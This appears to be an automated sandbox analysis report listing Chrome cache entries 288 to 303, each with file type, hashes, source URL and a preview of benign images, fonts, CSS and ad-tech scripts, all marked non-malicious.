Preview:	wOF2......p...........pY...........................8..T.`..T.....s.....L..<.....6.$..0. .....,..V[0nq..k...z...7...V.nb....<{..n..q0.nO......I%.K....c.f.?.rw+..@f .(..{&J.9.Z1a.@..2Z.g.....Ful(......AG.%.Mf..<.h.)...^..-.L..l.......O3.}..%..q..8........i..Z.ux.....[.:......\...)[......T..;}...:..'$;.8h.g.b.a...Q...,n].....3.'gO8..G..V..z....]t..,W.U@96.F.r..K..._u.>..8Q{.3.A.p~.....6`..ck.Q....-..dT.%S.hll@.....$........U@...7{.'M.`$.aZ......"p..G..?.......3a-.=...@.X......SaQ.m"..\y...b.........f.y..\wP?0.......{>...v..R._.&..5....C"D..2$.\|y(.....3....Z.R.V................Z-9.m.vd....33..9-`N..,a..tJN..9-....Osz...<......{....a@R..Xd..9%..-?..$NL.R.M..b..d..)..ma..#b...h(.mK..'....9&.P..:....A..%../.o.lMl#MP.F=....R..x......*..K.....{0@.._...r.t'6.-.]j.^.o.[k:......C)..D.e%..;K..[A.-...k.C........4......%\|H.%....A.A...'tO/.+.xMV\2.:.~]..W.....1.3.s.i".a.c.......)#....~..........p..wu.s.].`..e..:..v.:.P.._......_.y.#...d.U@.X.[}.-o.......i7.

Chrome Cache Entry: 288

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 50 x 50, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3678
Entropy (8bit):	7.926260072829547
Encrypted:	false
SSDEEP:	96:YDGx4BoXXRnaVGZYHZZT7hjChfjfZhx0pFkjT9:NAGG5ZktjfZheFkjZ
MD5:	5DCC9D5EC18D5EFDF0290D538A346A95
SHA1:	7B7945948587BC2A0AE44B9D0A22E923CF84B40D
SHA-256:	6A869E387368C1795201DA0214928E59205DF7337F8413043E8A320411C233BA
SHA-512:	6CE1E1870CE12535317AF5CC721F642A153E9911E09AB1D6BCE6481D33342C5AB0D5C586DB1DC38C5959F99132624D3360AE5BB8EDD7DE37A6559208EEF500CF
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...2...2......?......pHYs..........&.?....tIME......8\|.B.....IDATh..ZiTU...O.+..2(..8.....2O..........QQA@D...1..16i...M..SL.....9M.d..O..k.]]M.....y#..X.:..}........p......S><V.8.....{....u..;.\|.5...<\|'.?.cA.y4..w.....u.XSF>aZr..K.N.6..\|..E..R..-.{.a......h.1.a......=.....)...g...... ......J-.&..d.:.....sb.....'Z....RBv..q..v'9.M..4.5..{...[@....%.~.,.^.'..;..1....X.....Qt.....d7#F..@7n.D/..J...].8......,........]#.C..h....yI..p.sc...C..5u..`d...pp{..1..yTf.y.O....$.7o...v.f........\|h...i...}...^.y....~Z>...\PaM^{..#?V..` ]E..3/......wT[..y...K.&.l......k.#PC.^.I.?..n.v..~.....s.../...#.....3.......'......4.mZh:i....[hO{....=.]2..6lk&.n....q..Ba.+(:...x.6y.f....-L.5z..9!.=.as..?t..b...M..p.k7..g^.@.~1...........\PE~.Yr.\..~..[r~%...G...Qlv99.u.9...r......>..K.x.....k.P.....h...r.~.......~Z.^n"Xhb..rI.6.....x...D....WN3..u.oY..\|.5..*...$.Oa?..vt.c)`.\|.{.?.<.{............D~}K;..\|bAB.].zC4......"..7...4uA.9.......-.$..4%

Chrome Cache Entry: 289

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (2920), with no line terminators
Category:	downloaded
Size (bytes):	2920
Entropy (8bit):	5.278382327824268
Encrypted:	false
SSDEEP:	48:0GoPdhpMzANg4+rItkVsjxe3iRfLIzzL9qMEqK/VEjbJtbmsrIonbl8Q6LBI0uBP:poPTdfbiVsjgiRfL2f9sqK/VEjiOnF6K
MD5:	653708AD1BBAE1579927B6391B2A28F3
SHA1:	4261E415C23DFD9D925F071737FB0D236F856F4E
SHA-256:	82D2DC44AAE1EDA52ABC17AFD30C6031B7175C13EE6955410164C66AE755ADFB
SHA-512:	4092D81BEEAADB7ECA73EE279AF0A5289CAF850253464BAA4F7695C49670C05F7E89630807A2C41D3D9CAD75D95A60719FDB1A16265537153952774F7450873C
Malicious:	false
Reputation:	low
URL:	https://js-sec.indexww.com/um/ixmatch.html
Preview:	<!doctype html><head></head><body><script>!function(t){var e={};function r(n){if(e[n])return e[n].exports;var i=e[n]={i:n,l:!1,exports:{}};return t[n].call(i.exports,i,i.exports,r),i.l=!0,i.exports}r.m=t,r.c=e,r.d=function(t,e,n){r.o(t,e)\|\|Object.defineProperty(t,e,{enumerable:!0,get:n})},r.r=function(t){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(t,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(t,"__esModule",{value:!0})},r.t=function(t,e){if(1&e&&(t=r(t)),8&e)return t;if(4&e&&"object"==typeof t&&t&&t.__esModule)return t;var n=Object.create(null);if(r.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:t}),2&e&&"string"!=typeof t)for(var i in t)r.d(n,i,function(e){return t[e]}.bind(null,i));return n},r.n=function(t){var e=t&&t.__esModule?function(){return t.default}:function(){return t};return r.d(e,"a",e),e},r.o=function(t,e){return Object.prototype.hasOwnProperty.call(t,e)},r.p="",r(r.s=0)}([function(t,e){let r=!1;const n={};let i,a,o,c;

Chrome Cache Entry: 290

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	170
Entropy (8bit):	5.335916817166796
Encrypted:	false
SSDEEP:	3:yionv//thPlE+tnM5OCAadCmy42/uDlhlbGlo+4/iRXTECLrlxyxtyaC/tIlsg1B:6v/lhPfZMQC19s/6TdKXTECL6yR/iVB
MD5:	E7673C60AF825466F83D46DA72CA1635
SHA1:	FC0FCBEE0835709BA2D28798A612BFD687903FB5
SHA-256:	0B8A20373C6DD04E091902226D922B3688143A8938AFB9D283D889DE7B55CEB5
SHA-512:	F1C33E72643CE366FD578E3B5D393799E8C9EA27B180987826AF43B4FC00B65A4EAAE5E6426A23448956FEE99E3108C6A86F32FB4896C156E24AF0571A11C498
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR....................bKGD..............pHYs.................tIME......-Q.7n....tEXtComment.Created with The GIMP.d%n....IDAT..c.iy......+........IEND.B`..

Chrome Cache Entry: 291

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 536x284, components 3
Category:	dropped
Size (bytes):	33720
Entropy (8bit):	7.9734305454121115
Encrypted:	false
SSDEEP:	768:JyKyW+7sjrI3QfUKww1E/NmKplIQ75E/oRhBWkea3J6CMPyQXT5l3o:JHyW+b3QfUKCppl6kNJ7M/Do
MD5:	02956AC75FAF0AD4AE26CD2159A429EB
SHA1:	3B3467F3E26A760A4944DA611670334F51D358F6
SHA-256:	EE5897FA39CC94405568F0696D57D1055E2EFE627FD258CC0113B96D4ECF0AF9
SHA-512:	753CB97C75B2E0CD02D9E61559081BDC2EA3E1219B106C8083AD5BCD0691BEF6C364E5D4C760D139A95B5C2F1CD67410B1A9750D810A6AE3A8537EB82389F201
Malicious:	false
Reputation:	low
Preview:	......JFIF.............C....................................................................C......................................................................................................................Q..........................!1..A"2Qaq......#BR..3br.$4C....%5S....Ds.&Tcdt....U.................................,........................!1.A.."2Q#3.a.$BCq............?......:bD1k......LW...fx.;...!1..D.......f...L.bsa-.....]......;.ut.VS...q..y..E...RYP]_(.T5.@N....9b&&'\3BU.B.Y%?..3.:...=..s.3$.....u.F..Uv}.../.v.....]..!u#%......<.B.d.z.....6....Y.c.....m.VqXT...=>p........N........g.z_.q...<..i.....9..Sf..X.~....$..LH.....~....BS.=.....l............3.2.:D..07......=)..F.z-.1j.V...x..#....&WKq.(J..Eud........9).X...Q.'..Fn.....+...!..nb..G.j...e..V.._...J...l..9p...Y[..'-_...`.K8.s@......e...b7q{q;4..s......../^5o..[z.T[.......9..D..c..r.Zc.6\....y@~p....Em,6..."4.)l:..7..N<.Yh%.{,[.T=VK.^P.[.o......Me....d..sU...U..MW..P.Ior=..M1...

Chrome Cache Entry: 292

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3984), with no line terminators
Category:	downloaded
Size (bytes):	3984
Entropy (8bit):	5.64086950244254
Encrypted:	false
SSDEEP:	96:CnMa2NJddCbBN2xVsyD7BC78tg5MDv1bWq:QH1PQp/
MD5:	9F0B0C081DB55C49B636EDB25686FB04
SHA1:	84FAD1D73139CA24980935B1AF5552F2C6C44B6C
SHA-256:	3F45F4A9C1D890F603F25E66DA8CFBDA3B6BBB7F117F4C431DAD832CDB0B8958
SHA-512:	A0726C08825B5384C685338A6454EDDE9B090666AE3F0EAA3744FDA8111482E80998E3808206E57D305FA78349300530A54AD59BAE8D44750E2E8D6D6851343B
Malicious:	false
Reputation:	low
URL:	https://image6.pubmatic.com/AdServer/PugMaster?sec=1&async=1&kdntuid=1&rnd=71776206&p=159463&s=0&a=0&ptask=ALL&np=0&fp=0&rp=1&mpc=0&spug=1&coppa=0&gdpr=0&gdpr_consent=&us_privacy=1YNN
Preview:	PubMatic.loadAsyncImagePixel('https://synchroscript.deliveryengine.adswizz.com/syncMe?partnerDomain=mrtnsvr.com&idType=cookie&partnerUserId=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4&gdpr=0&gdpr_consent=');PubMatic.loadAsyncImagePixel('https://idsync.rlcdn.com/712188.gif?partner_uid=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4&gdpr=0&gdpr_consent=');PubMatic.loadAsyncImagePixel('https://bcp.crwdcntrl.net/map/c=14701/tp=MTAI/tpid=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4/gdpr=0/gdpr_consent=');PubMatic.loadAsyncImagePixel('https://pixel.tapad.com/idsync/ex/receive?partner_id=3203&partner_device_id=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4&gdpr=0&gdpr_consent=');PubMatic.loadAsyncIframePixel('https://beacon.lynx.cognitivlabs.com/pbmtc.gif?redir=https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0xJnR5cGU9MSZjb2RlPTM0MzkmdGw9MTI5NjAw&piggybackCookie=$UID');PubMatic.loadAsyncIframePixel('https://sync.srv.stackadapt.com/sync?nid=11&gdpr=0&gdpr_consent=');PubMatic.loadAsyncImagePixel('https://pmp.mxptint.net/sn.ashx

Chrome Cache Entry: 293

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	3091
Entropy (8bit):	5.073468879991434
Encrypted:	false
SSDEEP:	48:e+oWNWl0S06T+rCGJzGbTxPGOJSGOUSGOeXGOJyUy5BJGORhGO5/GOC63GORoaWp:eTF+q+rCG4x1DW861W4W
MD5:	BEA392C41094F40BF9E3423A01311BF4
SHA1:	4F1BC81744C8B2A79DACF05F3369BA8C04EA1335
SHA-256:	7BD19E369895D795B48995163092E5C40CEBBA5F4EC268C7540FBEFB94CAA3F4
SHA-512:	68627E9EC01A1E3677D5317F16DCE8471B15C27CBFE7A935977004ED896215FE56F7CB28E1BC91350C205CA941C267E05031599285FD246D084E2B95EBED0E0A
Malicious:	false
Reputation:	low
URL:	https://cdn.mediago.io/js/template/style/style_banner_7fb70a.css
Preview:	/. @Author: fangsimin.* @Date: 2020-06-01 15:31:54.* @Last Modified by: fangsimin.* @Last Modified time: 2020-06-01 15:31:54.*/..mediago-placement {. font-family: "Segoe UI Semilight", "Segoe WP Semilight", "Segoe WP", "Segoe UI", Arial, Sans-Serif;. white-space: normal;. background-color: white;.}..mediago-placement a {. text-decoration: none;. cursor: pointer;.}..mediago-placement ul {. list-style: none;.}..mediago-placement h3 {. color: #000;. font-weight: normal;. font-size: 24px;. line-height: 1.2;. max-height: 96px;. overflow: hidden;.}..fluid > .mediago-placement {. margin: 0 auto;.}...mediago-placement_7fb70a.c300x600_standard_7fb70a {. position: relative;. box-sizing: border-box !important;. font-family: Segoe UI, Segoe UI Midlevel, Segoe WP, Arial, Sans-Serif !important;. background-color: #fff !important;. border: 1px solid #e8e8e8 !important;.}..mediago-placement_7fb70a.c300x600_standard_7fb70a .mediago-placement-track_7fb70a {. text-decoration: non

Chrome Cache Entry: 294

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1054)
Category:	downloaded
Size (bytes):	2689
Entropy (8bit):	5.40021492400263
Encrypted:	false
SSDEEP:	48:Otg7xBo1IN7Qa69Fa9FKYPCfmY/bZyf2jcju8m5I0zRHkFRvEJG:/N7QaaiC+Y/jcju8WhRHMxEJG
MD5:	9EF158292B617D358506529B02C73629
SHA1:	843852D8ADDBF1A7F96C5607179E1C9423ED8A4C
SHA-256:	3164DB7EF9EFC7121CE85192340A653C6CB87E34CAA05849C8FD47B7872F9FC5
SHA-512:	D4B0E6E8900043C9C4EE010ABFD00A51D891FE4B4F424418DC1A75075E3DF931D0558BFB3E983190079EDDD0BF11D7604E70CEAF119351690812EBC21D7EAEB8
Malicious:	false
Reputation:	low
URL:	https://tpc.googlesyndication.com/pagead/js/r20240109/r20110914/client/window_focus_fy2021.js
Preview:	(function(){'use strict';function f(a,b,e){a.addEventListener&&a.addEventListener(b,e,!1)};/* . . Copyright The Closure Library Authors. . SPDX-License-Identifier: Apache-2.0 .*/ .function g(a,b,e){if(Array.isArray(b))for(var c=0;c<b.length;c++)g(a,String(b[c]),e);else null!=b&&e.push(a+(""===b?"":"="+encodeURIComponent(String(b))))};function l(a=document){return a.createElement("img")};function m(a,b,e=null,c=!1){n(a,b,e,c)}function n(a,b,e,c){a.google_image_requests\|\|(a.google_image_requests=[]);const d=l(a.document);if(e\|\|c){const k=h=>{e&&e(h);if(c){h=a.google_image_requests;const v=Array.prototype.indexOf.call(h,d,void 0);0<=v&&Array.prototype.splice.call(h,v,1)}d.removeEventListener&&d.removeEventListener("load",k,!1);d.removeEventListener&&d.removeEventListener("error",k,!1)};f(d,"load",k);f(d,"error",k)}d.src=b;a.google_image_requests.push(d)};function p(a=null){return a&&"22"===a.getAttribute("data-jc")?a:document.querySelector('[data-jc="22"]')};var q=document,r=window;functi

Chrome Cache Entry: 295

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1610), with no line terminators
Category:	downloaded
Size (bytes):	1610
Entropy (8bit):	5.317017318435937
Encrypted:	false
SSDEEP:	24:zBBh9ozqdwZCBBR9opFo0Z1lAl+9opFo0Zi9ozqdwZCHHbT:jn4EXkaSyikaSO4YHP
MD5:	DA05F5D596C887A6A5221011FA70D158
SHA1:	76923BCDC453F807CF78D55E338B78ED8194D0CA
SHA-256:	1D8F5B2BBB996A8F30C64630E9D1EA256B4FCA3F5C937F0856DEF478848DB025
SHA-512:	509024EAEBF85380CB6BD1D4A32728DD69A9B8865657259535754BBD89CBEBAA4608BDBD49631F880051F8A712CB416AFFD35D067D9ADD5B09D18CBF9FAE7036
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/pv/static/ms/trendingNow-flameIcon.yhome-variable.a2368adb8251677d29ac1399a6f34c43.min.css
Preview:	:root,html[data-color-scheme=dark] [data-maintain-color],html[data-color-theme-enabled][data-color-scheme=light]{--srch-tn-flame-color:linear-gradient(-63.94deg, #1D2228 0%, #1D2228 16.1%, #B23909 16.1%, #B23909 32.2%, #FF520D 32.2%, #FF520D 48.2%, #1D2228 48.2%, #1D2228 67.8%, #B23909 67.8%, #B23909 83.9%, #FF520D 83.9%);--srch-tn-flame-icon:url('https://s.yimg.com/pv/static/img/icon-flame-light-202303010352.gif')}html[data-color-theme-enabled][data-color-scheme=dark]{--srch-tn-flame-color:linear-gradient(-63.94deg, #FFFFFF 0%, #FFFFFF 16.1%, #A34810 16.1%, #A34810 32.2%, #FD6100 32.2%, #FD6100 48.2%, #FFFFFF 48.2%, #FFFFFF 67.8%, #A34810 67.8%, #A34810 83.9%, #FD6100 83.9%);--srch-tn-flame-icon:url('https://s.yimg.com/pv/static/img/icon-flame-dark-202303010353.gif')}@media (prefers-color-scheme:dark){html[data-color-theme-enabled]{--srch-tn-flame-color:linear-gradient(-63.94deg, #FFFFFF 0%, #FFFFFF 16.1%, #A34810 16.1%, #A34810 32.2%, #FD6100 32.2%, #FD6100 48.2%, #FFFFFF 48.2%, #FFF

Chrome Cache Entry: 296

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 536x284, components 3
Category:	dropped
Size (bytes):	26153
Entropy (8bit):	7.9647684299801815
Encrypted:	false
SSDEEP:	768:TcJ8RZjUydwYvfIXC8SufANl6/y96Zf4Y1EF:Jj9wYH8zAf6/y9652
MD5:	52ECC858B897B3475B3623552572BF87
SHA1:	71A2993EDB0E93736A847BFCF582878F19B71D2B
SHA-256:	48613FFD20DCC22B6CBFDC4A4372BCB53C416B705DBE15695CAAE984086F39A6
SHA-512:	660CB8E2AADAD0DFF9FBFAA226E2B664AB1F42ECE264B7B6E85E83E4D2B3A89334A90F8FCC57872DAAED4866883CD336CAB10105EE1E7D084CF188B257C3EE92
Malicious:	false
Reputation:	low
Preview:	......JFIF.............C....................................................................C......................................................................................................................M.........................!.1A.."Qa.2q...BR..#3br......%CS....$4Dcs...&6...................................)........................!1...A"Q.#2..Ca............?.._H..%}..J.Y.V.c8T.M....e.....ix..-1....Z"..T.d.z~h...Px.sO../........6.v4.....k}UI.rl...M..<6T.S.7+,..=.R......1w[..jv~K..WV..m.I%p$.y.On.U..&8..P.#..}...bq....O+....]..s..6...Or..'.....K.b...U_.2K.g..._...~.\.v..s...v>(.}]?..3...J.G.Vp~./..8x.n..Z`[..I..t0.Z..-'.....KW(df.'.sNs..z..e.Gx`.......p.5c.\|......E.....w.;t...DO.xn..EL..........Z.}..+l.'..L.....K.i........V./.D..q..A.]j.]'.)6J..p.......a...........m..VO..\......taQ.+.=...$d.XB..0......}Tm#O.<..}VUx...J]4...A.>.-.4.....J.@!.7PF..BU.@aFWi..C..^7I......;l..$...h.i8s.\|..i&......j..V.6...y.C*.ny.{N^....-....gf..........V3

Chrome Cache Entry: 297

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 1-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	85
Entropy (8bit):	4.292908596521779
Encrypted:	false
SSDEEP:	3:yionv//thPlE+kSI+DtjyREWqWv+ndp:6v/lhPfkCDtmDV+dp
MD5:	5BEC6606B8392065F9DA9898CA6F7B14
SHA1:	73AC5B01B5E3293FB792179626E7F8369CDB944D
SHA-256:	ACCCC501AA6AFA3CFAC15E8DDCCF1561DEED2ED08C2F7D652ABBDBE9AA71609A
SHA-512:	36FEC10F71295203E59BCC52042EE2691E5DB51D26F6D76D4B19BFEDF4429FDE898C87ABC77CA29F6BB58E6217FF380F0650115C06395CB1DA270BD028C2CF80
Malicious:	false
Reputation:	low
URL:	https://sync-tm.everesttech.net/upi/pid/b9pj45k4?redir=https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZqcz0xJmNvZGU9MjE5MSZ0bD0yNTkyMDA=&piggybackCookie=${TM_USER_ID}&gdpr=1&gdpr_consent=
Preview:	.PNG........IHDR.............%.V.....PLTE......U..~....IDATx.c`.......'......IEND.B`.

Chrome Cache Entry: 298

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13078
Entropy (8bit):	5.586235525006688
Encrypted:	false
SSDEEP:	192:1vIv0AOt68inAHmxGhAPbH9hHP2N0htPNPQVQx:JIv0AOzin3Qhi9h00htPNo+x
MD5:	C38CB9C01D6DD8F6AA3CD1C5C3D4AC13
SHA1:	CBEA5B1FD0A93D5BFA11456654A24EB53E99BEBC
SHA-256:	695257C1CEE507F35ED5090F0F7FD2B1B2DD52FD6D4087039E12D31A3B1033AF
SHA-512:	BFB49B5011FE45AD9AC39CBDF9675A7183524EAEB3CE1400370FB8A7A4385ACEFE881997E6DB952D2FCC54D2B0AC1875739920F4B1A4D2A0C55F2224CB667268
Malicious:	false
Reputation:	low
Preview:	{"assets":{"css":[{"location":"top","value":"/aaq/cprops/colors_1.1.27.min.css","name":"custom-properties","version":"1.1.27"},{"location":"top","value":"/aaq/fp/css/react-wafer-scores.ScoresRefresh.atomic.ltr.ed90d13ca69f2880bd2bff5d2879f31a.min.css","name":"react-wafer-scores.ScoresRefresh.atomic"}],"js":[{"location":"bottom","value":"/aaq/wf/wf-core-1.65.0-modern.js","name":"wafer-core","version":"1.65.0"},{"location":"bottom","value":"/aaq/wf/wf-form-1.34.5-modern.js","name":"wafer-form","version":"1.34.5"},{"location":"bottom","value":"/aaq/wf/wf-fetch-1.19.1-modern.js","name":"wafer-fetch","version":"1.19.1"},{"location":"bottom","value":"/aaq/wf/wf-tabs-1.12.6-modern.js","name":"wafer-tabs","version":"1.12.6"},{"location":"bottom","value":"/aaq/wf/wf-image-1.4.0-modern.js","name":"wafer-image","version":"1.4.0"},{"location":"bottom","value":"/aaq/fp/js/react-wafer-scores.custom.modern.703a7cd6e9af37cfbca340f3be613253.js","name":"react-wafer-scores.custom"}]},"data":{},"html":"<d

Chrome Cache Entry: 299

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	42
Entropy (8bit):	3.0241026136709444
Encrypted:	false
SSDEEP:	3:CUmExltxlNXE:JQ
MD5:	B4682377DDFBE4E7DABFDDB2E543E842
SHA1:	328E472721A93345801ED5533240EAC2D1F8498C
SHA-256:	6D8BA81D1B60A18707722A1F2B62DAD48A6ACCED95A1933F49A68B5016620B93
SHA-512:	202612457D9042FE853DAAB3DDCC1F0F960C5FFDBE8462FA435713E4D1D85FF0C3F197DAF8DBA15BDA9F5266D7E1F9ECAEEE045CBC156A4892D2F931FE6FA1BB
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........2.;

Chrome Cache Entry: 300

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (35646)
Category:	downloaded
Size (bytes):	98926
Entropy (8bit):	5.7133397145548965
Encrypted:	false
SSDEEP:	1536:D1/VYjBmDIuoUmHBq/OITAFh7543iwaNSClsAj:DYj/bITsN5Z
MD5:	C58B524536B40FDFB300FB7AADC5968C
SHA1:	6D8A4EC38F8DBF98D43A1B0229C16A4614875DEF
SHA-256:	4A338DF8A3989C9F795525B0DE6B140A872AC96D0855E3019FE23CD7E4D17D7A
SHA-512:	A9F43CAC5F4507C9AE4224ABBE6674F9355118B6070F47D22AC8EDB9A4DEC555A10748960B5FE6F913C53BA16AFF8954D33604E5967BAC5DF8E44A825E331F10
Malicious:	false
Reputation:	low
URL:	https://securepubads.g.doubleclick.net/tag/js/gpt.js
Preview:	(function(sttc){var window=this;if(window.googletag&&googletag.evalScripts){googletag.evalScripts();}if(window.googletag&&googletag._loaded_)return;var n,aa=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}},ba="function"==typeof Object.defineProperties?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a},ca=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");},da=ca(this),ea="function"===typeof Symbol&&"symbol"===typeof Symbol("x"),u={},fa={},v=function(a,b,c){if(!c\|\|null!=a){c=fa[b];if(null==c)return a[b];c=a[c];return void 0!==c?c:a[b]}},w=function(a,b,c){if(b)a:{var d=a.split(".");a=1===d.length;var e=d[0],f;!a&&e in u?f=u:f=da;for(e=0;e<d.length-1;e++){var g=d[e];if(!(g in f))brea

Chrome Cache Entry: 301

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5907), with no line terminators
Category:	downloaded
Size (bytes):	5907
Entropy (8bit):	5.237612024627799
Encrypted:	false
SSDEEP:	48:sk3s1y++SUsaUmUFUw4FNCtCzJYbz2aq1vUlKjdWevVCELwsH7OrwWrp+:oZ4OavUlK5WAVCEUsbOsWrp+
MD5:	ED90D13CA69F2880BD2BFF5D2879F31A
SHA1:	F8386A9548BAAFD119FDFBF9CD7B8013F82DFFA3
SHA-256:	5A1D4AEFA9ACA06E5DBF3665D71EF24E33892ACC76FAE4CF6DDD46F9CE1DB1BE
SHA-512:	EB9BEEFA615E0DACA7C1421BEE97CE7D541188A0EB6B39F27A4AAE671A14B80332F43F238B8367BF038C160C164A31964AED4A6B4DE61BA2C941B2B0F7DC3A68
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/aaq/fp/css/react-wafer-scores.ScoresRefresh.atomic.ltr.ed90d13ca69f2880bd2bff5d2879f31a.min.css
Preview:	#atomic .Ai$c${align-items:center}#atomic .Ai$fe${align-items:flex-end}#atomic .Bd$0$,.Bd$0${border:0}#atomic .Bd$n$,.Bd$n${border:none}#atomic .Bdendc$--hulk-pants${border-right-color:#7e1fff;border-right-color:var(--hulk-pants)}.active-scores-tab .active-scores-tab_Bdbc$\$scores-brandColor${border-bottom-color:#6001d2!important;border-bottom-color:var(--grape-jelly)!important}#atomic .Bdbc$t${border-bottom-color:transparent}#atomic .Bdts$n${border-top-style:none}#atomic .Bdends$n${border-right-style:none}#atomic .Bdends$s${border-right-style:solid}#atomic .Bdbs$s${border-bottom-style:solid}#atomic .Bdstarts$n${border-left-style:none}#atomic .Bdendw$6px${border-right-width:6px}#atomic .Bdendw$8px${border-right-width:8px}#atomic .Bdbw$4px${border-bottom-width:4px}.active-scores-tab .active-scores-tab_Bdrs$18px${border-radius:18px!important}#atomic .Bdrs$2px${border-radius:2px}#atomic .Bdrs$30px${border-radius:30px}#atomic .Bg$n${background:none

Chrome Cache Entry: 302

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 50 x 50, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	2039
Entropy (8bit):	7.886592553906477
Encrypted:	false
SSDEEP:	24:HrqEcuJLpPVF3kFmMzWTcm1bKylqS3OBDeo4wI4s80bjY9i26zZy4K7vK+iLe7VH:HemJBvgmMIbhQl9sfW0AvTbYC5zz/dl3
MD5:	AD9A7B6ADB52CD97851D9D6CC6A97021
SHA1:	66430D6D405A5B6EEF54855757A2687A81F7DE58
SHA-256:	6A5313150960D131D6B674F461A69A5A08B8F3B0EE13B1F96235B38EAA2DEF6C
SHA-512:	6887CD08B6852C197D01E2677FFCD6DB4E18E70C545C9C56F41E534E61A188D3A813117E4C4D080427E59ACCC4C03EC76C1DE2AE468D226090B56D7BA6C49A2F
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/iu/api/res/1.2/IkFljGiNauQREEGi3lrW9w--~B/YXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw/https://s.yimg.com/cv/apiv2/default/ncaab/20190610/500x500/st_johns_ny_wbgs.png
Preview:	.PNG........IHDR...2...2......?......pHYs..........&.?....tIME.....5.u.2.....IDATh..Z.T.i..%.V.ef....a.2e7B.c.}-Lc_&.43.......QhDvJ..1.L.AT..4L.p........{+.......=..}....W.j..!.:...."..yw..<....._......^D...9....."...V.d......4i.Z.i.$v&.....7......+7..co.\..-4w.m&.i.ug.5.@..\..]7.T....mT.i.E>......-.+...6i.5m."L;...k..sW.f.^....J.'..>..F.4...t.P.0[.....H.5.HB....5....-:..9u.t.....q.;.B.l.$...;..g.M....M..wj.1E..7D"...VP...e...p..t..."..i.O.N{$.....v...oB$.....m.....f..aq?3...x]a..FZyH.i..H;.W.....%.....}h....Me..".....vFb.h.....[........m_9..>o.%...u...o$....H..{...b..}F.....h..+...u.A.H3...u..L.H..>x."z...6....i[..\... _.$..7b....9...L_.i ./........L..X. ".' HV".a..{=f.,9Qd..[.+..{..I'...h-.u.....`8b. b..f.[W...Rg/{<.6zq...9.P.S-.u..#Lt..%o5R}F.....<N:.h..1V...r.....x..._Cuxq..T..q...>.U.c.~.CJ.W..}..<"q.S(.L...+iz!b... ..s$5h..dT....+6b1Q...#r.............o.g?..e..+q`.X{.\|.,w.._1"...\.Df.7b.0Q3>.3...(b.n..c...>}~.."...

Chrome Cache Entry: 303

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65490), with no line terminators
Category:	downloaded
Size (bytes):	502596
Entropy (8bit):	5.537310026340035
Encrypted:	false
SSDEEP:	12288:PJYBY5j19Y8yqlPHKRYrY5jjJYoYujWVY6yUlqZYDYVjezYOy6l5o/p1YlYxjAHr:92KL
MD5:	EAA3C8EAA3614174E708452A42E4428F
SHA1:	E40AE66470AC2054C6AFC6B4D7BA1F64C418110F
SHA-256:	97BCC42D51B19D82DAEADB9A51076459AB760BEB636329D211F71EBE759088B2
SHA-512:	4E6D237B1A37459BF3FEFAE7E161F59F4FC02AFDD0251B674108B7868B88D92CB7E1B6FC1E93FA33C679BF89F29CBDA1A237383A94693246186EC727B86F20A4
Malicious:	false
Reputation:	low
